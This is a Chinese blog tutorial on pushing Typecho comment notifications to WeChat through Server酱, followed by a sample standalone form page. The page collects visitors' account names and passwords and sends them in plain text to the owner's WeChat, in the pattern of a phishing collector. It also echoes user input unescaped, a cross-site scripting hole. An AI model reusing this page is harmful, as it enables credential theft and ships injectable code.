用Server酱给typecho做微信信息推送教程代码

server酱需要去sc.ftqq.com申请 并且绑定你的微信 ,然后别人可以直接从网页发消息给你的微信

typecho回复提示推送

  1. /**
  2. * 回复触发Server酱
  3. */
  4. Typecho_Plugin::factory('Widget_Feedback')->comment = array('ComWechat', 'sc_send');
  5. class ComWechat {
  6. public static function sc_send($comment, $post)
  7. {
  8. $sckey = Helper::options()->Serkey; //获取Server酱SCKEY
  9. $text = "有人在您的博客发表了评论";
  10. $desp = "**".$comment['author']."** 在 [「".$post->title."」](".$post->permalink." \"".$post->title."\") 中说到: \n\n > ".$comment['text'];
  11. $postdata = http_build_query(
  12. array(
  13. 'text' => $text,
  14. 'desp' => $desp
  15. )
  16. );
  17. $opts = array('http' =>
  18. array(
  19. 'method' => 'POST',
  20. 'header' => 'Content-type: application/x-www-form-urlencoded',
  21. 'content' => $postdata
  22. )
  23. );
  24. $context = stream_context_create($opts);
  25. $result = file_get_contents('http://sc.ftqq.com/'.$sckey.'.send', false, $context);
  26. return $comment;
  27. }
  28. }

这里

  1. $sckey = Helper::options()->Serkey; //获取Server酱SCKEY

当然,如果没有做有这方面的配置可以直接这样写

  1. $sckey = 'abcdfazktpquaqtqrragz100'; //自己Server酱SCKEY

这样就可以有人回复评论的时候,自动推送到自己的微信了

这里是回复评论的,如果是其他地方自定义的页面,比如表单之类的,可以这样

  1. <!DOCTYPE html>
  2. <html>
  3. <head>
  4. <title>吹牛逼</title>
  5. <meta name="viewport" content="width=device-width, initial-scale=0.88, maximum-scale=1, user-scalable=no">
  6. <meta http-equiv="X-UA-Compatible" content="IE=Edge">
  7. <meta charset="UTF-8">
  8. <meta name="keywords" content="By吹牛逼">
  9. <meta name="description" content="吹牛逼">
  10. <!-- Bootstrap -->
  11. <link rel="shortcut icon" href="//static.hdslb.com/images/favicon.ico">
  12. <link rel="stylesheet" href="//cdn.bootcss.com/bootstrap/3.3.0/css/bootstrap.min.css">
  13. <style>
  14. body{font-family: "Microsoft YaHei" ! important;}
  15. html{background:url(自定义背景图片) no-repeat center top;background-size:cover}body{padding-top:20px;font-size:1pc;background:transparent}h1{font-weight:400;font-size:40px}.panel{background-color:hsla(0,0%,100%,.9)}.margin-base-vertical{margin:40px 0}.margin-base-mini{margin:20px 0}.bs-callout{padding:20px;margin:20px 0;border:1px solid #eee;border-left-width:5px;border-radius:3px}.bs-callout h4{margin-top:0;margin-bottom:5px}.bs-callout p:last-child{margin-bottom:0}.bs-callout code{border-radius:3px}.bs-callout+.bs-callout{margin-top:-5px}.bs-callout-danger{border-left-color:#d9534f}.bs-callout-danger h4{color:#d9534f}.bs-callout-warning{border-left-color:#f0ad4e}.bs-callout-warning h4{color:#f0ad4e}.bs-callout-info{border-left-color:#5bc0de}.bs-callout-info h4{color:#5bc0de}.tile-footer{padding:5px 10px;background:rgba(0,0,0,.1);text-align:left}.tile-content-wrapper{position:relative;overflow:hidden;padding:10px 10px 17px}.tile-content{font-size:35px}.tile-content span{font-size:18px;font-weight:700}.tile-content span,.tile-content-wrapper small{opacity:.7;-moz-opacity:.7;filter:alpha(opacity:70)}.tile-content-wrapper small{display:block;text-align:right;font-size:14px}.tile-header{padding:10px;background:#84b8ff;text-transform:uppercase;font-size:18px}.niebu{padding:10px}
  16. input{margin-top: 3px;}
  17. </style>
  18. </head>
  19. <body>
  20. <div class="container">
  21. <div class="row">
  22. <div class="col-md-6 col-md-offset-3 panel panel-default">
  23. <h2 class="text-center">提交系统</h2>
  24. <div class="bs-callout bs-callout-info">
  25. <h4 class="help-block text-left">Title</h4>
  26. </div>
  27. <form action="" method="post">
  28. <span class="label label-info">标题: </span><input type="text" name="text" placeholder="标题" class="form-control">
  29. <span class="label label-info">账 号: </span><input type="text" name="user" placeholder="账号" class="form-control">
  30. <span class="label label-info">密 码:</span><input type="text" name="pass" placeholder="密码" class="form-control">
  31. <br>
  32. <input type="submit" value="提交" class="btn btn-sm btn-success">
  33. <br>
  34. 文本
  35. </form>
  36. <?php
  37. $text="订单信息:".$_POST["text"];
  38. $desp="用户信息…账号:".$_POST["user"]."密码:".$_POST["pass"];
  39. file_get_contents("https://sc.ftqq.com/替换成你自己的.send?text={$text}&desp={$desp}");
  40. ?>
  41. <span style="color: purple;">
  42. <?php
  43. if($_POST)
  44. {
  45. echo "提示:".$text."更新成功!请勿重复提交";
  46. }
  47. ?></span>
  48. </div>
  49. <div class="col-md-3"> <!-- 评论代码放置区 -->
  50. </div>
  51. </div><!-- //row -->
  52. </div> <!-- //container -->
  53. </body>
  54. </html>

这里是参考https://ycb.hk/archives/99.html

回头再想想,还有什么可以搭配使用的…… 然后再继续更新……

文章由官网发布,如若转载,请注明出处:https://www.veimoz.com/440
4 条评论
7.2k

发表评论

已有 4 条评论

  1. 88888     Win 10 /    Chrome
    2020-07-25 03:51

    http://suo.im/5JxOiC

  2. 校长不让说     Win 7 /    Chrome
    2020-07-21 22:57

    1. 【管理员】Vv     Win 7 /    Chrome
      2020-07-22 12:49
  3. yunxing     Win 7 /    Chrome
    2020-07-01 14:44

    学习了。

!